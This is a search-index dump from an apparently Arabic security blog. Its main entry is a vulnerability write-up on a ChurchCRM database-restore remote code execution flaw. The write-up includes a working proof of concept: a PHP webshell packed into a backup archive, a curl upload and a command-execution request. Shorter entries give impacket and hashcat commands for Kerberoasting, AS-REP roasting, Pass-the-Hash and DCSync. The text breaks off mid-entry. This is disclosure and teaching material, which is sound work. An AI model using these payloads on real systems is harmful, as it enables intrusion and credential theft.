[{"content":" ⚠️ تنبيه: هذا المقال لأغراض تعليمية بحتة. يُرجى الاختبار فقط على الأنظمة المُرخَّصة.\nالأنظمة المتأثرة التأثير نوع الثغرة ChurchCRM خطير 9.1 تنفيذ أوامر برمجية عن بُعد مقدمة السلام عليكم ورحمة الله وبركاته. في هذا المقال سأتناول كيف تمكّنتُ من العثور على ثغرة CVE-2026-40484 منذ اللحظة الأولى وحتى تسجيلها ونشرها في قواعد بيانات MITRE.\nبداية العمل للحصول على الاعتماد التركي بأعلى مستوى، يُشترط أن يكون لديّ على الأقل ثغرة CVE واحدة مُسجَّلة باسمي. ومن هنا انطلقت رحلة البحث عن أنظمة يمكن استخراج ثغرات منها في أقصر وقت ممكن.\nتوجّهتُ إلى منصة GitHub لأتصفّح المشاريع التي تُولي اهتمامًا للجانب الأمني في تطويرها، فوقع اختياري على مشروع ChurchCRM.\nعند مراجعة الثغرات التي اكتُشفت سابقًا في المشروع، لاحظتُ وجود تقرير سابق عن ثغرة Remote Code Execution، وهذا هو رابط الثغرة التي تم العثور عليها قبل أن أبدأ بحثي في المشروع:\nhttps://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77\nوقد تم الإبلاغ عنها بتاريخ 17 ديسمبر 2025.\nهناك نقطة جوهرية ينبغي على الباحثين الأمنيين الانتباه إليها، وهي أن الثغرات التي جرى إغلاقها قد تفتح البابَ لاكتشاف ثغرات جديدة. ولذلك تُعدّ هذه المواضع من أهم الأماكن التي يجب التركيز عليها. لا ينبغي الافتراض بأن إصلاح ثغرة ما يعني انتهاء المخاطر في تلك الوظيفة؛ فهذا تصوّر خاطئ تمامًا. بل على العكس، أنصح بأن يكون هذا أوّلَ مكان تبحث فيه عن الثغرات.\nبناءً على ذلك، شرعتُ في محاولة تحديد موقع هذه الدالة داخل المشروع ودراستها بحثًا عن أي ثغرات محتملة.\nمن خلال بعض أوامر التصفية (Filtering) واستعراض مجلدات المشروع وملفاته، عثرتُ بداخله على مجلد backup الذي يحتوي على عدد من الملفات المكتوبة بلغة PHP.\nوبعد تحليل هذه الملفات وفهم الدوال التي تتضمّنها، نجحتُ في الوصول إلى ثغرة تؤدي إلى تنفيذ تعليمات برمجية عن بُعد مجددًا. ولنستعرض تفاصيل الثغرة معًا.\nتفاصيل الثغرة يحتوي برنامج ChurchCRM الإصدار 7.1.1 على ثغرة أمنية خطيرة في وظيفة استعادة النسخ الاحتياطية لقاعدة البيانات. فعندما يقوم المسؤول برفع ملف أرشيف احتياطي بصيغة .tar.gz بهدف استعادته، يقوم التطبيق باستخراج محتويات الأرشيف ونسخ محتويات مجلد Images/ مباشرةً إلى جذر المستندات المتاح عبر الويب، وذلك باستخدام الدالة FileSystemUtils::recursiveCopyDirectory().\nالمشكلة أن هذه الدالة لا تُجري أي تصفية لامتدادات الملفات أثناء عملية النسخ. وبالتالي يستطيع المهاجم الذي يُنشئ ملف أرشيف احتياطي خبيث بصيغة .tar.gz يحتوي على سكربت PHP ضارّ داخل مجلد Images/ أن يجعل التطبيق يكتب هذا الملف في مسار متاح للعامة ضمن /Images/Person/ أو /Images/Family/. وبمجرد تمام الكتابة، يستطيع المهاجم إرسال طلبات HTTP إلى الملف المُنشأ لتنفيذ أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم الويب (www-data).\nولكي نفهم الموضوع بصورة أدق، دعونا نحلّل الملف الذي تم العثور فيه على الثغرة.\nموقع الثغرة اسم الملف: RestoreJob.php السطر الذي تحتوي الثغرة: 138 ملف مساعد: FileSystemUtils.php الدالة المسؤولة عن الثغرة: FileSystemUtils::recursiveCopyDirectory() قراءة الملف قراءة ملف RestoreJob.php لفهم آلية عمل الملف، سنقوم بشرحه سطرًا سطرًا:\nالسطر 122: يُسجّل في سجل الأحداث (Log) أن عملية استعادة النسخة قد بدأت. السطر 123: يقوم بفتح ملف النسخة الاحتياطية (الأرشيف). السطر 126: يُجهّز مسارًا لمجلد مؤقت بـاسم عشوائي لاستخلاص محتويات الأرشيف فيه. السطر 127: يُنشئ المجلد فعليًا على نظام الملفات. السطر 130: يُفرّغ كامل محتويات الأرشيف المضغوط داخل هذا المجلد المؤقت. السطر 132: يُحدّد مسار ملف قاعدة البيانات (SQL) داخل الملفات المستخرجة. السطر 133: يتحقّق من وجود ملف قاعدة البيانات فعليًا. السطر 134: يبدأ بتحميل ملف البيانات الجديد إلى النظام. السطر 136: يحذف جميع الصور القديمة الموجودة حاليًا في المسار: SystemURLs::getDocumentRoot() . '/Images' السطر 138: يأخذ الصور من المجلد المؤقت ويُرسلها إلى المسار النهائي للموقع وهو: SystemURLs::getImagesRoot() وهنا يتم استدعاء الدالة FileSystemUtils::recursiveCopyDirectory التي تتولّى نسخ المجلد وكل ما يحتويه من ملفات وصور بشكل تكراري وتلقائي.\nالسطر 141: في حال عدم العثور على ملف البيانات، يُصدر رسالة خطأ تُفيد بأن الملف ناقص. حتى هذه المرحلة، كل شيء يسير بشكل طبيعي. بعد إنشاء المجلد، استخدم الكود الدالة التالية لنسخ المحتويات:\nFileSystemUtils::recursiveCopyDirectory وعند محاولة تحديد موقع هذه الدالة، ظهرت لنا النتيجة التالية:\nنلاحظ أنها موجودة في هذا المسار.\nقراءة ملف FileSystemUtils.php لفهم الدالة، يجب أن نرى كيف تُنفّذ عملية النسخ. وبالذهاب إلى السطر 24 نجد الدالة نفسها، ويمكننا تحليل آلية عملها على النحو التالي:\nالسطر 28: if (file_exists($dst)) يفحص فيما إذا كان المسار الهدف موجودًا مسبقًا على الخادم، وذلك تفاديًا للتداخل.\nالسطر 29: self::recursiveRemoveDirectory($dst); في حال وجوده، يقوم بحذفه بالكامل مع جميع محتوياته لتهيئة المكان للنسخة الجديدة.\nالسطر 31: if (is_dir($src)) يفحص المسار المصدر؛ هل هو مجلد؟ (إذا كانت الإجابة نعم، يبدأ بمعالجة تفاصيله).\nالسطر 32: mkdir($dst); يُنشئ مجلدًا جديدًا في الوجهة بالاسم نفسه للمجلد الأصلي.\nالسطر 33: $files = scandir($src); يفتح المجلد ويقرأ أسماء جميع الملفات والمجلدات الموجودة داخله.\nالسطر 34: foreach ($files as $file) يبدأ حلقة تكرار للمرور على كل عنصر تم اكتشافه في الخطوة السابقة.\nالسطر 35: if ($file != '.' \u0026amp;\u0026amp; $file != '..') يتجاهل الرموز التقنية التي تُمثّل المجلد الحالي والمجلد الأعلى منه، لضمان عدم الدخول في حلقة لا نهائية.\nالسطر 36: self::recursiveCopyDirectory(\u0026quot;$src/$file\u0026quot;, \u0026quot;$dst/$file\u0026quot;); العملية التكرارية (Recursion): هنا تستدعي الدالةُ نفسَها للدخول إلى المجلدات الفرعية وتكرار الخطوات ذاتها عليها.\nالسطر 39: } elseif (file_exists($src)) { إذا لم يكن المسار مجلدًا، يتحقق من أنه ملف موجود فعلًا.\nالسطر 40: copy($src, $dst); يقوم بنسخ الملف كما هو من المصدر إلى الوجهة.\nالتحليل الأمني 1. عملية نسخ عمياء\nالدالة لا تتساءل «ماذا أنسخ؟»، بل تُنفّذ أمر النسخ فحسب. فلا يوجد أي فحص لمحتوى الملفات (MIME Type) ولا تحقّق ممّا إذا كان الملف صورة حقيقية أم كودًا برمجيًا متنكّرًا.\n2. غياب الفحص على الامتداد\nوهنا تكمن الكارثة الحقيقية؛ إذ تقوم الدالة بنسخ أي ملف مهما كان امتداده. ويستطيع المهاجم حشو ملف النسخة الاحتياطية بملفات خطيرة مثل:\n.php .phtml .phar .php5 وبما أن الدالة لا تمتلك «قائمة سوداء» (Blacklist) ولا «قائمة بيضاء» (Whitelist) للامتدادات، فإنها ستنقل هذه الملفات مباشرةً إلى المجلد الحي للموقع.\nكمهاجم، أوّل ما يخطر في ذهنه هنا هو أنه يستطيع تحميل ملفات ضارة بامتداد PHP للسيطرة الكاملة على النظام :)\nشروط الاستغلال من خلال فهمنا للدوال وآلية عملها، يمكننا الآن تحديد الشروط اللازمة لاستغلال هذه الثغرة بنجاح:\n1. وجود ملف قاعدة البيانات (ChurchCRM-Database.sql)\nالسبب: كما لاحظنا في الكود السابق (السطران 133 و141)، يقوم النظام بفحص وجود هذا الملف تحديدًا. التكتيك: في حال عدم عثور الكود على هذا الملف، سيُثير استثناء (Exception) وتتوقف عملية الاستعادة فورًا. لذلك، يجب على المهاجم تضمين ملف SQL (حتى لو كان فارغًا أو يحتوي على بيانات عشوائية) لخداع النظام وجعله يستمر في التنفيذ. 2. تجاوز فحص الامتدادات\nالسبب: الدالة recursiveCopyDirectory عمياء؛ فهي تنسخ كل شيء. التكتيك: يضع المهاجم ملف shell.php داخل مجلد الصور (/Images) الموجود في الأرشيف المضغوط. وبما أن الدالة لا تمتلك قائمة سوداء للامتدادات، فسيُفكّ ضغط الشال ويُوضع في المجلد الحي للموقع. 3. الوصول إلى المسار الحي\nالسبب: يحتاج المهاجم إلى معرفة المكان الذي وُضع فيه ملفه. التكتيك: بما أننا نعلم أن الكود ينسخ الملفات إلى SystemURLs::getImagesRoot()، فإن المسار يكون معروفًا للمهاجم مسبقًا. ويبقى شيء أخير ينبغي أن نعرفه: كيف يمكننا استدعاء هذه الدالة؟ لذلك يجب علينا البحث داخل الـ APIs عن الطلب الذي يُتيح استدعاءها.\nومن هنا يتضح أنه باستخدام المسار التالي /api/database/restore يمكننا استدعاء هذه الدالة وتشغيلها بنجاح.\nالتأثير تنفيذ أوامر نظام التشغيل بشكل اعتباطي بصلاحيات المستخدم www-data. التنقل الجانبي (Lateral Movement) داخل بيئة الخادم. وجود باب خلفي دائم؛ إذ يبقى ملف الـ Shell المزروع حتى بعد إعادة تشغيل التطبيق. انتهاك كامل لسرية بيانات نظام إدارة علاقات العملاء وسلامتها وتوافرها. إثبات المفهوم (Proof of Concept) أولًا، يجب أن نُنشئ ملفًا مضغوطًا يحتوي على:\nChurchCRM-Database.sql /Images/Person/shell.php ويمكننا استخدام الكود التالي لذلك:\nmkdir -p evil_backup/Images/Person echo \u0026#34;SQL backup Test\u0026#34; \u0026gt; evil_backup_test/ChurchCRM-Database.sql # إنشاء باب خلفي بلغة الـPHP echo \u0026#39;\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]); ?\u0026gt;\u0026#39; \u0026gt; evil_backup_test/Images/Person/shell.php # ضغط الملف cd evil_backup tar -czf /tmp/evil_restore_test.tar.gz ChurchCRM-Database.sql Images/ بنية الملف:\nChurchCRM-Database.sql Images/ Images/Person/ Images/Person/shell.php ← PHP webshell ثانيًا، الرفع باستخدام الـ API:\ncurl -s \\ -b \u0026#34;CRM-SESSION=\u0026lt;session_cookie\u0026gt;\u0026#34; \\ \u0026#34;http://localhost/churchcrm/api/database/restore\u0026#34; \\ -X POST \\ -F \u0026#34;restoreFile=@/tmp/evil_restore_test.tar.gz;type=application/gzip\u0026#34; سيكون رد الخادم كالتالي: HTTP 200\n{ \u0026#34;Messages\u0026#34;: [ \u0026#34;As part of the restore, external backups have been disabled...\u0026#34; ] } وبعد ذلك، سيتم رفع الملف الضار داخل المسار التالي:\nImages/Person/shell.php وبمجرد محاولة إرسال طلب إلى هذا المكان، سنلاحظ أنه يمكننا تنفيذ أوامر برمجية عن بُعد بنجاح!\ncurl \u0026#34;http://localhost/churchcrm/Images/Person/shell.php?cmd=id\u0026#34; المخرجات:\nuid=33(www-data) gid=33(www-data) groups=33(www-data) إثبات المفهوم بالصور 1. إنشاء الملف المضغوط:\n2. رفع الملف والتأكد من نجاح الرفع:\n3. تنفيذ الأمر id:\nإصلاح الثغرة لإصلاح الثغرة، تم إضافة جميع التفاصيل والأكواد اللازمة في الـ Commit التالي:\nhttps://github.com/ChurchCRM/CRM/commit/68be1d12bc4cc1429575ae797ef05efe47030d39\nالمصادر Authenticated Remote Code Execution via Unrestricted PHP File Write in Database Restore Function NIST-NVD: CVE-2026-40484 Detail The Hacker Wire: CVE-2026-40484 CVE: CVE-2026-40484 ","permalink":"https://cyberah-blog.pages.dev/cve/cve-2026-40484/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eتنبيه:\u003c/strong\u003e هذا المقال لأغراض تعليمية بحتة. يُرجى الاختبار فقط على الأنظمة المُرخَّصة.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eالأنظمة المتأثرة\u003c/th\u003e\n          \u003cth\u003eالتأثير\u003c/th\u003e\n          \u003cth\u003eنوع الثغرة\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eChurchCRM\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eخطير 9.1\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eتنفيذ أوامر برمجية عن بُعد\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"مقدمة\"\u003eمقدمة\u003c/h2\u003e\n\u003cp\u003eالسلام عليكم ورحمة الله وبركاته. في هذا المقال سأتناول كيف تمكّنتُ من العثور على ثغرة \u003cstrong\u003eCVE-2026-40484\u003c/strong\u003e منذ اللحظة الأولى وحتى تسجيلها ونشرها في قواعد بيانات \u003cstrong\u003eMITRE\u003c/strong\u003e.\u003c/p\u003e\n\u003ch2 id=\"بداية-العمل\"\u003eبداية العمل\u003c/h2\u003e\n\u003cp\u003eللحصول على الاعتماد التركي بأعلى مستوى، يُشترط أن يكون لديّ على الأقل ثغرة \u003cstrong\u003eCVE\u003c/strong\u003e واحدة مُسجَّلة باسمي. ومن هنا انطلقت رحلة البحث عن أنظمة يمكن استخراج ثغرات منها في أقصر وقت ممكن.\u003c/p\u003e","title":"كيف عثرتُ على ثغرة تنفيذ التعليمات البرمجية عن بُعد في وظيفة استعادة قاعدة البيانات - CVE-2026-40484"},{"content":"ما هو Kerberoasting؟ Kerberoasting هجوم يستغل بروتوكول Kerberos لطلب تذاكر خدمة (TGS) لحسابات الخدمة، ثم كسر تشفيرها offline.\nالشروط المسبقة حساب مستخدم عادي في الدومين (لا يحتاج صلاحيات مرتفعة) حسابات خدمة مرتبطة بـ SPN الخطوات 1. البحث عن SPNs impacket-GetUserSPNs -dc-ip 10.10.10.1 DOMAIN/user:password 2. طلب التذاكر impacket-GetUserSPNs -dc-ip 10.10.10.1 DOMAIN/user:password -request 3. كسر التشفير hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt الحماية استخدم كلمات مرور طويلة (+25 حرف) لحسابات الخدمة فعّل Managed Service Accounts (MSA) راقب طلبات TGS المشبوهة ","permalink":"https://cyberah-blog.pages.dev/notes/active-directory/attacks/kerberoasting/","summary":"\u003ch2 id=\"ما-هو-kerberoasting\"\u003eما هو Kerberoasting؟\u003c/h2\u003e\n\u003cp\u003eKerberoasting هجوم يستغل بروتوكول Kerberos لطلب تذاكر خدمة (TGS) لحسابات الخدمة، ثم كسر تشفيرها offline.\u003c/p\u003e\n\u003ch2 id=\"الشروط-المسبقة\"\u003eالشروط المسبقة\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eحساب مستخدم عادي في الدومين (لا يحتاج صلاحيات مرتفعة)\u003c/li\u003e\n\u003cli\u003eحسابات خدمة مرتبطة بـ SPN\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"الخطوات\"\u003eالخطوات\u003c/h2\u003e\n\u003ch3 id=\"1-البحث-عن-spns\"\u003e1. البحث عن SPNs\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-GetUserSPNs -dc-ip 10.10.10.1 DOMAIN/user:password\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"2-طلب-التذاكر\"\u003e2. طلب التذاكر\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-GetUserSPNs -dc-ip 10.10.10.1 DOMAIN/user:password -request\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"3-كسر-التشفير\"\u003e3. كسر التشفير\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehashcat -m \u003cspan class=\"m\"\u003e13100\u003c/span\u003e hashes.txt /usr/share/wordlists/rockyou.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"الحماية\"\u003eالحماية\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eاستخدم كلمات مرور طويلة (+25 حرف) لحسابات الخدمة\u003c/li\u003e\n\u003cli\u003eفعّل \u003cstrong\u003eManaged Service Accounts (MSA)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eراقب طلبات TGS المشبوهة\u003c/li\u003e\n\u003c/ul\u003e","title":"Kerberoasting"},{"content":"الأكتيف داريكتوري (Active Directory) هو خدمة دليل مركزية طورتها مايكروسوفت لإدارة المستخدمين والأجهزة والصلاحيات في شبكات الويندوز.\nمصادقة الكيربيروس الكيربيروس (Kerberos) هو البروتوكول الأساسي للمصادقة في بيئات الأكتيف داريكتوري. يعتمد على نظام التذاكر (Tickets) بدلاً من إرسال كلمة المرور عبر الشبكة.\nكيف تعمل العملية؟ المستخدم ──AS-REQ──\u0026gt; KDC المستخدم \u0026lt;─AS-REP── TGT (مشفر بمفتاح krbtgt) المستخدم ──TGS-REQ─\u0026gt; KDC المستخدم \u0026lt;─TGS-REP─ TGS (تذكرة الخدمة) المستخدم ──────────\u0026gt; الخدمة (باستخدام TGS) # عرض التذاكر الحالية klist # طلب تذكرة لخدمة محددة kinit -S cifs/fileserver.corp.local user@CORP.LOCAL نقطة مهمة: الـ TGT صالح 10 ساعات افتراضياً. إذا سُرق فيمكن استخدامه حتى انتهائه.\nمصادقة NTLM NTLM هو بروتوكول مصادقة قديم ما زال مستخدماً عند الاتصال بالأجهزة خارج الدومين أو عبر عنوان IP مباشرة.\nآلية Challenge-Response العميل ──NEGOTIATE──\u0026gt; الخادم العميل \u0026lt;─CHALLENGE── nonce (رقم عشوائي) العميل ──RESPONSE──\u0026gt; Hash(نكست + كلمة المرور) # عرض بروتوكول المصادقة المستخدم Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Select-Object -First 5 فرق جوهري: NTLM أضعف من Kerberos لأنه لا يدعم Mutual Authentication.\n","permalink":"https://cyberah-blog.pages.dev/notes/active-directory/what-is-ad/","summary":"\u003cp\u003eالأكتيف داريكتوري (Active Directory) هو خدمة دليل مركزية طورتها مايكروسوفت لإدارة المستخدمين والأجهزة والصلاحيات في شبكات الويندوز.\u003c/p\u003e\n\u003ch2 id=\"مصادقة-الكيربيروس\"\u003eمصادقة الكيربيروس\u003c/h2\u003e\n\u003cp\u003eالكيربيروس (Kerberos) هو البروتوكول الأساسي للمصادقة في بيئات الأكتيف داريكتوري. يعتمد على نظام \u003cstrong\u003eالتذاكر (Tickets)\u003c/strong\u003e بدلاً من إرسال كلمة المرور عبر الشبكة.\u003c/p\u003e\n\u003ch3 id=\"كيف-تعمل-العملية\"\u003eكيف تعمل العملية؟\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eالمستخدم  ──AS-REQ──\u0026gt;  KDC\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eالمستخدم  \u0026lt;─AS-REP──  TGT (مشفر بمفتاح krbtgt)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eالمستخدم  ──TGS-REQ─\u0026gt;  KDC\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eالمستخدم  \u0026lt;─TGS-REP─  TGS (تذكرة الخدمة)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eالمستخدم  ──────────\u0026gt;  الخدمة (باستخدام TGS)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# عرض التذاكر الحالية\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eklist\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# طلب تذكرة لخدمة محددة\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ekinit -S cifs/fileserver.corp.local user@CORP.LOCAL\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eنقطة مهمة:\u003c/strong\u003e الـ TGT صالح 10 ساعات افتراضياً. إذا سُرق فيمكن استخدامه حتى انتهائه.\u003c/p\u003e","title":"ما هو الأكتيف داريكتوري؟"},{"content":"ما هو AS-REP Roasting؟ يستهدف هذا الهجوم المستخدمين الذين تم تعطيل Kerberos Pre-Authentication لهم. يمكن طلب AS-REP دون المصادقة وكسر التشفير offline.\nالبحث عن الحسابات المعرضة impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 كسر التشفير hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt الحماية لا تعطل Kerberos Pre-Auth إلا عند الضرورة القصوى راجع دورياً المستخدمين الذين لديهم DONT_REQUIRE_PREAUTH ","permalink":"https://cyberah-blog.pages.dev/notes/active-directory/attacks/as-rep-roasting/","summary":"\u003ch2 id=\"ما-هو-as-rep-roasting\"\u003eما هو AS-REP Roasting؟\u003c/h2\u003e\n\u003cp\u003eيستهدف هذا الهجوم المستخدمين الذين تم تعطيل \u003cstrong\u003eKerberos Pre-Authentication\u003c/strong\u003e لهم. يمكن طلب AS-REP دون المصادقة وكسر التشفير offline.\u003c/p\u003e\n\u003ch2 id=\"البحث-عن-الحسابات-المعرضة\"\u003eالبحث عن الحسابات المعرضة\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"كسر-التشفير\"\u003eكسر التشفير\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehashcat -m \u003cspan class=\"m\"\u003e18200\u003c/span\u003e hashes.txt /usr/share/wordlists/rockyou.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"الحماية\"\u003eالحماية\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eلا تعطل Kerberos Pre-Auth إلا عند الضرورة القصوى\u003c/li\u003e\n\u003cli\u003eراجع دورياً المستخدمين الذين لديهم \u003ccode\u003eDONT_REQUIRE_PREAUTH\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"AS-REP Roasting"},{"content":"معظم اختبارات الاختراق الداخلية تنتهي باستهداف الأكتيف داريكتوري. هذا الدليل يغطي أهم الهجمات.\nهجمات الكيربيروس Kerberoasting يستهدف هذا الهجوم حسابات الخدمات (SPNs) لاستخراج تذاكرها وكسرها offline.\n# استخراج تذاكر حسابات الخدمات impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.10.10.1 -request -outputfile hashes.txt # كسر الهاش hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt AS-REP Roasting يستهدف الحسابات التي تم إيقاف Pre-Authentication عليها.\n# البحث عن الحسابات الضعيفة impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt تصعيد الصلاحيات في الأكتيف داريكتوري Pass-the-Hash # تمرير الهاش للوصول لجهاز آخر impacket-psexec -hashes :NTLM_HASH Administrator@10.10.10.2 DCSync — سرقة جميع الهاشات # يتطلب صلاحيات Domain Admin أو DCSync impacket-secretsdump corp.local/admin:pass@dc.corp.local -just-dc تحذير: استخدم هذه الأدوات في بيئات مخصصة للتدريب والاختبار المرخص فقط.\n","permalink":"https://cyberah-blog.pages.dev/notes/active-directory/ad-attacks/","summary":"\u003cp\u003eمعظم اختبارات الاختراق الداخلية تنتهي باستهداف الأكتيف داريكتوري. هذا الدليل يغطي أهم الهجمات.\u003c/p\u003e\n\u003ch2 id=\"هجمات-الكيربيروس\"\u003eهجمات الكيربيروس\u003c/h2\u003e\n\u003ch3 id=\"kerberoasting\"\u003eKerberoasting\u003c/h3\u003e\n\u003cp\u003eيستهدف هذا الهجوم \u003cstrong\u003eحسابات الخدمات (SPNs)\u003c/strong\u003e لاستخراج تذاكرها وكسرها offline.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# استخراج تذاكر حسابات الخدمات\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-GetUserSPNs corp.local/user:pass -dc-ip 10.10.10.1 -request -outputfile hashes.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# كسر الهاش\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehashcat -m \u003cspan class=\"m\"\u003e13100\u003c/span\u003e hashes.txt /usr/share/wordlists/rockyou.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"as-rep-roasting\"\u003eAS-REP Roasting\u003c/h3\u003e\n\u003cp\u003eيستهدف الحسابات التي تم إيقاف \u003cstrong\u003ePre-Authentication\u003c/strong\u003e عليها.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# البحث عن الحسابات الضعيفة\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-GetNPUsers corp.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"تصعيد-الصلاحيات-في-الأكتيف-داريكتوري\"\u003eتصعيد الصلاحيات في الأكتيف داريكتوري\u003c/h2\u003e\n\u003ch3 id=\"pass-the-hash\"\u003ePass-the-Hash\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# تمرير الهاش للوصول لجهاز آخر\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-psexec -hashes :NTLM_HASH Administrator@10.10.10.2\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"dcsync--سرقة-جميع-الهاشات\"\u003eDCSync — سرقة جميع الهاشات\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# يتطلب صلاحيات Domain Admin أو 